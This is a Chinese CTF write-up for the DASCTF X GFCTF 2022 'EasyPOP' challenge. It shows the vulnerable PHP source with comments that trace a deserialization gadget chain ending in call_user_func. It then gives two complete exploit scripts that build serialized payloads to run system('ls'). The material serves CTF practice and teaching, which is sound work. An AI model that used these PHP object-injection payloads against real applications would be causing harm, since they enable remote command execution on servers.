DASCTF X GFCTF 2022十月挑战赛

有水平的

DASCTF X GFCTF 2022十月挑战赛

1.EasyPOP

一道构造pop链的题,拿来练习一下分析能力

做反序列构造pop链最重要还是要会联想,从而触发方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
private $cmd;
private $content;

public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}

public function __invoke()
{
call_user_func($this->cmd, $this->content);
}

public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}

class show
{
public $ctf;
public $time = "Two and a half years";

public function __construct($ctf)
{
$this->ctf = $ctf;
}


public function __toString()
{
return $this->ctf->show();
//show类有this->ctf->show() 联想一下__call函数,或者看看其他类有show函数没,在secret_code类中发现有show函数,而其函数内语句会触发__get魔术,而__get魔术会触发fine类的__invoke魔术,其中的call_user_func就是实现反序列化命令执行的关键,所以这里并不触发__call魔术
}

public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}


}

class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;

public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}

public function __sleep()
{
$this->hint = new secret_code();
}

public function __get($name)
{
$name = $this->key;
$name();
//sorry类的__get函数有$name(),联想到__invoke,fine类的__invoke 函数有call_user_func函数,也就是突破口
}


public function __destruct()
{
if ($this->password == $this->name) {
//这里的password和name就需要外部实例化后赋值为相同的,因为这样才能通过下面语句调用魔术方法,而不执行else语句
echo $this->hint;
//sorry的析构函数有echo $this->hint 联想一下__toString函数,在Show类中
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}


public function getPassword()
{
return $this->password;
}

public function setPassword($password): void
{
$this->password = $password;
}


}

class secret_code
{
protected $code;

public static function secret()
{
include_once "hint.php";
hint();
}

public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}

private function show()
{
return $this->code->secret;
//secret_code类的show函数有this->code->secret,secret属性是所有类都没有的,自然联想到__get,在Sorry类里
}
}


if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}

pop链的构造

切入口 sorry类的析构函数,突破口fine类的__invoke函数中的call_user_func函数

sorry.__destruct -> show.__toString
->
secret.show()
->
sorry.__get() -> fine.__invoke()
->
call_user_func函数

#call_user_func(a,b) — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数
#也就是把a当作函数,把b当作传入a函数的参数【如call_user_func(assert,phpinfo()),就会执行代码phpinfo()】

所以payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class fine
{
public $cmd;
public $content;
}
class show
{
public $ctf;
public $time = "Two and a half years";
}
class sorry
{
public $name;
public $password;
public $hint = "hint is depend on you";
public $key;
}

class secret_code
{
public $code;
}
$Fine = new fine();
$Show = new show();
$Sorry = new sorry();
$Sorry2 = new sorry();
//这里实例化两次sorry是因为当,脚本运行完毕后,会执行__destruct()魔术方法,从而清空了变量引用,也就相当于关闭了这个类,
//但是后续还需要调用其中的魔术方法,所以需要再次实例化,并重新为password和name相同赋值
$Secret = new secret_code();

$Sorry->name = 'cc';
$Sorry->password = 'cc';
$Sorry->hint = $Show;
$Show->ctf = $Secret;
$Secret->code = $Sorry2;

$Sorry2->name = 'cc';
$Sorry2->password = 'cc';
$Sorry2->key = $Fine;
$Fine->cmd = 'system';
$Fine->content = 'ls /';
$a = serialize($Sorry);
echo $a
?>

补充:另一种写法,一定要url编码,因为里边有不可见字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf, $time)
{
$this->ctf = $ctf;
$this->time = $time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password,$hint,$key)
{
$this->name = $name;
$this->password = $password;
$this->hint = $hint;
$this->key = $key;
}
}
class secret_code
{
protected $code;
public function __construct($code)
{
$this->code = $code;
}
}
$Sorry= new sorry('cc','cc',new show(new secret_code(new sorry('cc','cc','cc',new fine('system','ls'))),'cc'),'cc');

//因为这里没有修改变量修饰,
//对于private修饰变量无法直接传参,需要实例化类xx(a,b),然后才能成功传参,当然public类也可以用这种方法传参,只是没必要,但这里是用了的
//比如sorry类中name和password变量赋值为cc后,后面实例化的show类就是赋值给public hint变量,是按变量声明顺序来进行赋值的
//这里的嵌套就是同上面的payload一样,只是把变量赋值为实例化的类,实例化类的里面再嵌入变量值和其他实例化的类

$c = serialize($Sorry);
echo urlencode($c);
?>